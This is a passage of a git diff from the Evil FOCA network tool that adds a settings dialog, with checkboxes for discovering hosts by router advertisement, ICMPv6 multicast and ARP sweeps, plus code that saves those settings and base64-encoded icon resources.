"button1"; + this.button1.Size = new System.Drawing.Size(336, 46); + this.button1.TabIndex = 6; + this.button1.Text = "Select interface"; + this.button1.TextAlign = System.Drawing.ContentAlignment.MiddleRight; + this.button1.TextImageRelation = System.Windows.Forms.TextImageRelation.ImageBeforeText; + this.button1.UseVisualStyleBackColor = true; + this.button1.Click += new System.EventHandler(this.button1_Click); + // + // gbAutodiscover + // + this.gbAutodiscover.Controls.Add(this.cbDiscoverICMPMulticast); + this.gbAutodiscover.Controls.Add(this.cbDiscoverARPSweeps); + this.gbAutodiscover.Controls.Add(this.cbDiscoverRouteAdvertisement); + this.gbAutodiscover.Location = new System.Drawing.Point(30, 74); + this.gbAutodiscover.Name = "gbAutodiscover"; + this.gbAutodiscover.Size = new System.Drawing.Size(336, 183); + this.gbAutodiscover.TabIndex = 7; + this.gbAutodiscover.TabStop = false; + this.gbAutodiscover.Text = "Active computers discovery"; + // + // cbDiscoverICMPMulticast + // + this.cbDiscoverICMPMulticast.Location = new System.Drawing.Point(19, 67); + this.cbDiscoverICMPMulticast.Name = "cbDiscoverICMPMulticast"; + this.cbDiscoverICMPMulticast.Size = new System.Drawing.Size(311, 32); + this.cbDiscoverICMPMulticast.TabIndex = 3; + this.cbDiscoverICMPMulticast.Text = "Discover computers with IPv6 using ICMP multicast"; + this.cbDiscoverICMPMulticast.UseVisualStyleBackColor = true; + // + // cbDiscoverARPSweeps + // + this.cbDiscoverARPSweeps.Location = new System.Drawing.Point(19, 105); + this.cbDiscoverARPSweeps.Name = "cbDiscoverARPSweeps"; + this.cbDiscoverARPSweeps.Size = new System.Drawing.Size(311, 32); + this.cbDiscoverARPSweeps.TabIndex = 2; + this.cbDiscoverARPSweeps.Text = "Discover computers with IPv4 using ARP sweeps"; + this.cbDiscoverARPSweeps.UseVisualStyleBackColor = true; + // + // cbDiscoverRouteAdvertisement + // + this.cbDiscoverRouteAdvertisement.Location = new System.Drawing.Point(19, 29); + this.cbDiscoverRouteAdvertisement.Name = "cbDiscoverRouteAdvertisement"; + this.cbDiscoverRouteAdvertisement.Size = new System.Drawing.Size(311, 32); + this.cbDiscoverRouteAdvertisement.TabIndex = 1; + this.cbDiscoverRouteAdvertisement.Text = "Discover computers with IPv6 using router advertisement packets"; + this.cbDiscoverRouteAdvertisement.UseVisualStyleBackColor = true; + // + // FormSettings + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(396, 324); + this.ControlBox = false; + this.Controls.Add(this.gbAutodiscover); + this.Controls.Add(this.button1); + this.Controls.Add(this.buttonCancel); + this.Controls.Add(this.buttonSave); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle; + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MaximizeBox = false; + this.Name = "FormSettings"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent; + this.Text = "Settings"; + this.Load += new System.EventHandler(this.FormSettings_Load); + this.gbAutodiscover.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Button buttonSave; + private System.Windows.Forms.Button buttonCancel; + private System.Windows.Forms.Button button1; + private System.Windows.Forms.GroupBox gbAutodiscover; + private System.Windows.Forms.CheckBox cbDiscoverRouteAdvertisement; + private System.Windows.Forms.CheckBox cbDiscoverICMPMulticast; + private System.Windows.Forms.CheckBox cbDiscoverARPSweeps; + } +} \ No newline at end of file diff --git a/EvilFoca/FormSettings.cs b/EvilFoca/FormSettings.cs new file mode 100644 index 0000000..2b19612 --- /dev/null +++ b/EvilFoca/FormSettings.cs @@ -0,0 +1,74 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Windows.Forms; + +namespace evilfoca +{ + public partial class FormSettings : Form + { + public FormSettings() + { + InitializeComponent(); + } + + private void button1_Click(object sender, EventArgs e) + { + FormInterfaces fInterfaces = new FormInterfaces(false); + fInterfaces.ShowDialog(); + } + + private void buttonCancel_Click(object sender, EventArgs e) + { + Close(); + } + + private void buttonSave_Click(object sender, EventArgs e) + { + SaveConf(); + Close(); + } + + private void FormSettings_Load(object sender, EventArgs e) + { + LoadConf(); + } + + private void LoadConf() + { + cbDiscoverRouteAdvertisement.Checked = Program.CurrentProject.data.settings.DiscoverWithRouterAdvertisement; + cbDiscoverARPSweeps.Checked = Program.CurrentProject.data.settings.DiscoverWithArpScan; + cbDiscoverICMPMulticast.Checked = Program.CurrentProject.data.settings.DiscoverWithPingMulticastIpv6; + } + + private void SaveConf() + { + Program.CurrentProject.data.settings.DiscoverWithRouterAdvertisement = cbDiscoverRouteAdvertisement.Checked; + Program.CurrentProject.data.settings.DiscoverWithPingMulticastIpv6 = cbDiscoverICMPMulticast.Checked; + Program.CurrentProject.data.settings.DiscoverWithArpScan = cbDiscoverARPSweeps.Checked; + + Program.CurrentProject.data.settings.Save(); + } + } +} diff --git a/EvilFoca/FormSettings.resx b/EvilFoca/FormSettings.resx new file mode 100644 index 0000000..ce57b30 --- /dev/null +++ b/EvilFoca/FormSettings.resx @@ -0,0 +1,2479 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + 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 + rP8OLq7/DS2w/w0stP8MLLj/Cyu5/wopu/8IKb//BynC/wUnxf8qU+jHKVPm/yhR5f8mT+P/JU3i/yNL + 4f8hSd7/HkPQ/xk7vf8YOLP/Fzez/3aJ0v/r6+v/tbvU/yM8qv8QLar/Di2s/w0tr/8NLLP/DCy3/wsr + uf8KKbz/CSnA/wcpw/8sVuj6KlTn/ylS5v8nUOT/Jk/j/yRN4v82WNb/ZnrF/26Avv9uf77/bX6//6Os + 0v/r6+v/zM/d/3aCu/9rebr/anm6/1hqtv8NKqj/DSy0/wwsuP8LK7r/Ciq9/wgpw/8tWOv+LVfp/ytV + 6P8pUub/KFHl/zFY5f/f4u3/6+vr/+vr6//s7Oz/7Ozs/+zs7P/r6+v/6+vr/+vr6//s7Oz/7Ozs/+jo + 6v8QLKT/DS2w/w0stP8MLLn/CyzA/wosxv8vWu3+Llnq/y1X6f8qVOf/KVPm/2B+6v/s7Oz/3N7k/5Kf + 0P+ImNL/iJjT/7fA4v/r6+v/0NPe/4uYyv+Dkcv/gpHM/3qJyv8QLqr/Dy6t/w0tsv8NLr3/DS/G/wwv + y/8xXO7+L1rr/y5Y6v8sVuj/KlTn/3qT7f/r6+v/w8fZ/zFMr/8cPLD/Gzuw/3mL0f/r6+v/trzS/yU/ + of8TMKH/Ei+j/xIvpv8RLqn/EC6s/xAwuv8PMsX/DzPO/w0xzf8yXu/+MV3t/zBb7P8uWOr/LVfp/4Kb + 8P/r6+v/usDW/y9Kq/8dO6v/HDut/3mKzv/r6+v/t73S/yY/nP8TMJz/Ei+e/xIvof8RLqX/EjG2/xM0 + xP8SNtD/EDXQ/w8zz/80YPH+M17u/zFd7f8vWuv/Llnq/4Wd8v/r6+v/0tXg/42axv+Fk8X/hJLF/7C4 + 1v/r6+v/1Nfg/4eTvv99irv/fIq8/3yKvf80Ta7/FDfE/xU50f8UONP/EjfS/xA10P81YfL+NGDv/zNe + 7v8wXOz/L1rr/4af8//r6+v/6+vr/+vr6//r6+v/6+vr/+rq6v/p6u3/7Ozs/+rq6v/q6ur/6urq/+rq + 6v9pfsn/Fz3S/xY71f8VOtT/FDjT/xI20f83ZPP+NmPx/zVg8P8zXu7/MV3t/4Sd8//r6+v/zdHe/4SU + y/98jcz/fI3N/3CDyf9DXbr/eIvO/3yP0f98jtT/fZLj/3yU6v82WN3/GkDY/xg+1/8WPNX/FTrU/xQ4 + 0/85ZvX+N2Xy/zZj8f80YO//M17u/4Ca8v/s7Oz/vsTW/zJMpv8fPqb/Hz2n/x49qf8dPar/HTyt/xw8 + sf8eQsr/IEfc/x5F3f8cQ9v/G0La/xpA2P8YPtf/FzzW/xU61P86aPb+OGbz/zdk8v81YvD/NGDv/2uL + 8f/v7+//3N7j/4SRvv91hbn/dYS6/3SEu/8yS6T/HT2t/yFGzf8iSuD/IUnf/yBH3v8dRNz/HEPb/xtB + 2v8aQNj/GD7X/xY81f88aff+O2j2/zln9P83ZPL/NmPx/0Vt8P/l6fT/6+vs/+zs7P/s7Oz/7Ozs/+zs + 7P9yg7//I0bI/ydO4v8kTeL/I0vh/yJJ4P8gR97/HkXd/x1E2/8bQtr/GkDZ/xg+1/8+bPn+PGr3/zto + 9v84ZvP/N2Xy/zZj8f9pifL/kafy/5Op8f+TqPD/kqfv/5Gm7v9Ma9v/KVLj/yhR5f8mT+P/JU3i/yNL + 4f8hSd//IEfe/x5F3f8dRNv/HELb/xpA2f8/bfr+PWz4/zxq9/86Z/X/OGbz/zdk8v81YvD/NGDv/zRf + 7v8xXez/MFvr/y9Z6v8sVuj/KlTn/ylS5v8nUOT/Jk/j/yRN4v8iSuD/IUnf/yBH3v8eRd3/HUTc/xtC + 2v9Ab/v+P276/z5s+f88avf/O2j2/zln9P83ZPL/NmPx/zVg8P8zXu7/MV3t/zBb7P8uWOr/LVfp/ytV + 6P8pUub/KFHl/ydP5P8kTeL/I0vh/yJJ4P8gR97/H0bd/x1E3P9BcPz+QXD7/z9u+v89bPj/PGr3/zto + 9v84ZvP/N2Xy/zZj8f80YO//M17u/zFd7f8vWuv/Llnq/y1X6f8qVOf/KVPm/yhR5f8mT+P/JU3i/yNL + 4f8iSeD/IUjf/x9G3v5BcPvzQXD8/kBv+/4/bfr+Pmz5/jxp9/46aPb+OWb1/jdk8/41YfL+NGDx/jJe + 7/4xXO7+L1rt/i1Y6/4sVun+K1To/ilS5v4nUOX+Jk/k/iRM4v4iS+H+IUng/R9H3tz+AAAA/AAAAPgA + AADwAAAA4AAAAMAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoAAAAIAAAAEAAAAABACAAAAAAAAAgAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFDrVcxQ61O4UONP/EjfS/xE1 + 0f8QNND/DzLP/w4xzv8ML83/Cy7M/wosyf8JKsb/CCnD/wYow/8FJ8X/BCXG/wMkxf8CIsT/ASHD/wAg + wv8AIML/ACDC/yQ/ysYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABg914EXPNb/FjvV/xU5 + 1P8UONP/EjfS/xE10f8QNND/DzLP/w4xzv8ML8r/Cy3F/woqv/8JKcD/CCnC/wYow/8FJ8X/BCXG/wMk + xf8CIsT/ASHD/wAgwv8AIML/ACDC/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaQdmBGT/Y/xg+ + 1/8XPNb/FjvV/xU51P8UONP/EjfS/xE10f8QNND/DzLL/w4uxv8MLLz/Cyu7/wopvf8JKcD/CCnC/wYo + w/8FJ8X/BCXG/wMkxf8CIsT/ASHD/wAgwv8AIML/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHEPbgRxC + 2/8bQdn/GT/Y/xg+1/8XPNb/FjvV/xU51P8UONP/EjfS/xE0zP8PMcb/DS25/w0suf8MLLr/Cyu7/wop + vf8JKcD/CCnC/wYow/8FJ8X/BCXG/wMkxf8CI8T/ASHD/wAgwv8AAAAAAAAAAAAAAAAAAAAAAAAAACBF + 3YEeRd3/HUTb/xxC2/8bQdn/GT/Y/xg+1/8XPNb/FjvV/xU51P8TN87/ETPG/w8vtv8NLbP/DSy2/w0s + uf8MLLr/Cyu7/wopvf8JKcD/CCnC/wYow/8FJ8X/BCXG/wMkxf8CI8T/ASHD/wAAAAAAAAAAAAAAAAAA + AAAgSd+BIUjf/x9G3v8eRd3/HUTb/xxC2/8bQdn/GT/Y/xg+1/8XPNb/FTnP/xQ2xf8QLaj/Diqg/w0q + pP8NLbL/DSy2/w0suf8MLLr/Cyu7/wopvf8JKcD/CCnC/wYow/8FJ8X/BCbG/wMkxf8CI8T/AAAAAAAA + AAAAAAAAJE3hgSNL4f8iSeD/IUjf/x9G3v8eRd3/HUTb/xxC2/8bQdn/GT/Y/xc8z/8VOMb/eozY/+rq + 6//q6ur/aHi4/w4trv8NLbP/DSy2/w0suf8MLLr/Cyu7/wopvf8JKcD/CCnC/wYow/8FJ8b/BCbG/wMk + xf8AAAAAAAAAACZP44ElTuP/JEzi/yNL4f8iSeD/IUjf/x9G3v8eRd3/HUTb/xxC2/8aPtD/FzrF/xU2 + uv+Kmtz/6+vr/+vr6/+AjMH/Dy2s/w4usf8NLbP/DSy2/w0suf8MLLr/Cyu7/wopvf8JKcD/CCnC/wcp + xP8FJ8b/BCbG/yBA3wgoUeWBKFHl/ydP5P8lTuP/JEzi/yNL4f8iSeD/IUjf/x9G3v8eRd3/HEHR/xk8 + xf8XN7n/FTa3/4qa3P/r6+v/6+vr/4CMwP8QLar/Dy6v/w4usf8NLbP/DSy2/w0suf8MLLr/Cyu7/wop + vf8JKcD/CCnC/wcpxP8FJ8b/KVTmfSpT5/8pUub/KFHl/ydP5P8lTuP/JEzi/yNL4f8iSeD/IUjf/x5D + 0v8bPsX/GDm2/xg4tv8XN7f/ipvb/+vr6//r6+v/gIy//xEuqf8RLq3/Dy6v/w4usf8NLbP/DSy2/w0s + uf8MLLr/Cyu7/wopvf8JKcD/CCnC/wcpxP8rVejsK1Xo/ypT5/8pUub/KFHl/ydP5P8lTuP/JEzi/yNL + 4f8gRdP/HT/C/xk5sv8YOLH/GDiy/xc3s/+Lmtn/6+vr/+vr6/+BjL7/ES2k/xEvqf8QLar/Dy2s/w4t + rv8NLbL/DSy2/w0suf8MLLr/Cyu7/woqvv8JKcD/CCnD/y1X6v4sVun/K1Xo/ypT5/8pUub/KFHl/ydP + 5P8lTuP/MlXY/2yAyP9/jcL/gY7B/4CNwf+AjcL/f43C/7W81//r6+v/6+vr/7a70/99ib3/fYm+/32J + vv98ib//Y3S3/w0qpP8NLbP/DSy2/w0suf8MLLr/Cyu8/woqvv8JKsX/Llnr/i5Y6v8sVun/K1Xo/ypT + 5/8pUub/KFHl/y1U5P/a3+7/6+vr/+vr6//r6+v/6+vr/+vr6//r6+v/6+vr/+vr6//r6+v/6+vr/+vr + 6//r6+v/6+vr/+vr6//q6ur/ESyh/w4usf8NLbP/DSy2/w0suf8MLLv/Cy3E/wosxv8vWu3+L1nr/y5Y + 6v8sVun/K1Xo/ypT5/8pUub/W3rq/+/v7//r6+v/6+vr//Hx8f/19fX/9fX1//X19f/19fX/6+vr/+vr + 6//r6+v/9fX1//X19f/19fX/9fX1/+Lk7f8RLqn/Dy6v/w4usf8NLbP/DS23/w0uw/8MLsb/Cy7L/zBc + 7v4wW+z/L1nr/y5Y6v8sVun/K1Xo/ypT5/99le3/7e3t/+vr6/+yudL/ID6s/x8/sf8ePbL/Hj2z/46e + 2f/r6+v/6+vr/4GNu/8TMJ//EzCj/xMwpf8SL6f/Ei+p/xIvq/8RLq3/Dy6v/w4us/8PMML/DjDG/w4x + zf8NMM3/Ml3v/jFc7f8wW+z/L1nr/y5Y6v8sVun/K1Xo/46j8P/s7Oz/6+vr/5ehx/8cO6v/HTyw/xw8 + sP8bOrH/jZzY/+vr6//r6+v/gY26/xQwnP8UMaH/EzCj/xMwpf8SL6f/Ei+p/xIvq/8RL6//ETLA/xAz + xf8QNM//DzPP/w4xzv8zX/D+Ml7u/zFc7f8wW+z/L1nr/y5Y6v8sVun/lKny/+vr6//r6+v/i5fC/x08 + qv8dPa7/HTyw/xw8sP+Nndj/6+vr/+vr6/+Cjbn/FTCa/xUxn/8UMaH/EzCj/xMwpf8SL6f/EjCs/xM0 + v/8TNcT/EjbQ/xE20f8QNND/DzPP/zRg8f40X+//Ml7u/zFc7f8wW+z/L1nr/y5Y6v+VqvT/6+vr/+vr + 6/+IlMD/Hzud/x46n/8eOqD/HTmh/4iWyv/r6+v/6+vr/5Gbv/8TK4v/Ey2O/xIskP8RLJL/ESyU/xEt + m/8UNbz/FTfE/xU50v8UONP/EzfS/xE20f8QNND/NWHy/jVg8P80X+//Ml7u/zFc7f8wW+z/L1nr/5mt + 9f/r6+v/6+vr/+vr6//r6+v/6+vr/+vr6//r6+v/6urq/+vr6//r6+v/6+vr/+fo6f/n6On/5+jp/+fo + 6f/m5+j/Zni9/xU4wP8XPNP/FjvV/xU51P8UONP/EzfS/xE20f82Y/P+NmLx/zVg8P80X+//Ml7u/zFc + 7f8wW+z/mK31/+vr6//r6+v/6+vr/+vr6//r6+v/6+vr/+vr6//q6uv/6eru/+7u7v/r6+v/6+vr/+vr + 6//r6+v/6+vr/+vr6/9/j8z/GT7T/xg+1/8XPNb/FjvV/xU61P8UONP/EzfS/zhl9P43ZPL/NmLx/zVg + 8P80X+//Ml7u/zFc7f+WrPX/6+vr/+vr6/+4v9X/j57S/4+e1P+PntX/j57V/3+Qz/9AWrr/iJjU/5Cg + 2P+QoNn/kJ/a/5Ch3v+Spe7/kKTt/0Nj3/8bQdn/GT/Y/xg+1/8XPNb/FjvV/xU61P8UONP/OWb1/jhl + 8/83ZPL/NmLx/zVg8P80X+//Ml7u/5Wr9f/s7Oz/6+vr/4qWv/8gPqT/ID+p/x8+qv8fPqz/Hz6s/x49 + rf8dPa7/HTyw/xw8sP8bPLX/IEbX/x9G3v8eRd3/HUTb/xxC2/8bQdn/GT/Y/xg+1/8XPdb/FjvV/xU6 + 1P86Z/b+OWf0/zhl8/83ZPL/NmLx/zVg8P80X+//jKTz/+7u7v/r6+v/m6XG/x88n/8gP6X/ID6m/x89 + qP8ePan/Hj2p/x49rf8dPa7/HT20/yJJ2f8iSeD/IUjf/x9G3v8eRd3/HUTb/xxC2/8bQdn/GT/Y/xg+ + 1/8XPdb/FjvV/ztp9/46aPX/OWf0/zhl8/83ZPL/NmLx/zVg8P90kfL/8fHx/+vr6//X2uH/iJS+/4aT + vv+Gk7//hpO//4WSv/87UqL/Hj2q/x4+sv8kS9r/JEzi/yNL4f8iSeD/IUjf/x9G3v8eRd3/HUTb/xxC + 2/8bQdn/GkDY/xg+1/8XPdb/PGr4/jxp9/86aPX/OWf0/zhl8/83ZPL/NmLx/0508P/39/f/6+vr/+vr + 6//r6+v/6+vr/+vr6//r6+v/6+vr/4WRv/8fP67/J03b/ydP5P8lTuP/JEzi/yNL4f8iSeD/IUjf/x9G + 3v8eRd3/HUTb/xxC2/8bQdr/GkDY/xg+1/8+bPn+PWv3/zxp9/86aPX/OWf0/zhl8/83ZPL/NmLx/5Co + 9P/t7/f/9fX1//X19f/19fX/9fX1//X19f/09PT/fI7M/yhQ3f8pUub/KFHl/ydP5P8lTuP/JEzi/yNL + 4f8iSeD/IUjf/x9G3v8eRd3/HUTb/xxD2/8bQdr/GkDY/z9t+v4+bPn/PWv3/zxp9/86aPX/OWf0/zhl + 8/83ZPL/NmLx/zVg8P80YO//NWHu/zRf7f8zXez/Mlzr/zBa6v8sVun/K1Xo/ypT5/8pUub/KFHl/ydP + 5P8lTuP/JEzi/yNL4f8iSeD/IUjf/x9G3v8eRd3/HUTc/xxD2/8bQdr/QG/7/j9u+v8+bPn/PWv3/zxp + 9/86aPX/OWf0/zhl8/83ZPL/NmLx/zVg8P80X+//Ml7u/zFc7f8wW+z/L1nr/y5Y6v8sVun/K1Xo/ypT + 5/8pUub/KFHl/ydP5P8lTuP/JEzi/yNL4f8iSeD/IUjf/x9G3v8eRd3/HUTc/xxD2/9BcPz+QG/7/z9u + +v8+bPn/PWv3/zxp9/86aPX/OWf0/zhl8/83ZPL/NmLx/zVg8P80X+//Ml7u/zFc7f8wW+z/L1nr/y5Y + 6v8sVun/K1Xo/ypT5/8pUub/KFHl/ydP5P8lTuP/JEzi/yNL4f8iSeD/IUjf/yBH3v8eRd3/HUTc/0Fw + /P5Ccfz/QG/7/z9u+v8+bPn/PWv3/zxp9/86aPX/OWf0/zhl8/83ZPL/NmLx/zVg8P80X+//Ml7u/zFc + 7f8wW+z/L1nr/y5Y6v8sVun/K1Xo/ypT5/8pUub/KFHl/ydP5P8lTuP/JEzi/yNL4f8iSeD/IUjf/yBH + 3v8eRd3/QXD8/kJx/P9Ccfz/QG/7/z9u+v8+bPn/PWv3/zxp9/86aPX/OWf0/zhl8/83ZPL/NmLx/zVg + 8P80X+//Ml7u/zFc7f8wW+z/L1nr/y5Y6v8sVun/K1Xo/ypT5/8pUub/KFHl/ydP5P8lTuP/JEzi/yNL + 4f8iSuD/IUjf/yBH3v5BcPviQXD8/kFw/P5BcPz+QG/7/j9t+v4+bPn+PGr4/jtp9/46Z/b+OWb1/jhl + 9P42Y/P+NWHy/jRg8f4zX/D+Ml3v/jBc7v4vWu3+Llnr/i1X6v4sVun+K1To/ilT5/4oUeb+J1Dl/iZP + 5P4lTeP+I0zi/iJK4f4iSd/7IEjfwP/AAAD/AAAA/gAAAPwAAAD4AAAA8AAAAOAAAADAAAAAgAAAAIAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKAAAADAAAABgAAAAAQAgAAAAAAAASAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAM8wKETfVXBQ609QUONP7FDjT/xI30v8SNtL/ETXR/xA00P8QM9D/DzLP/w4xzv8NMM3/DC/N/wsu + zP8LLcv/CizI/wkqx/8IKcX/CCnD/wYow/8GJ8T/BSfF/wQlxv8EJMX/AyTF/wIixP8BIsP/ASHD/wAg + 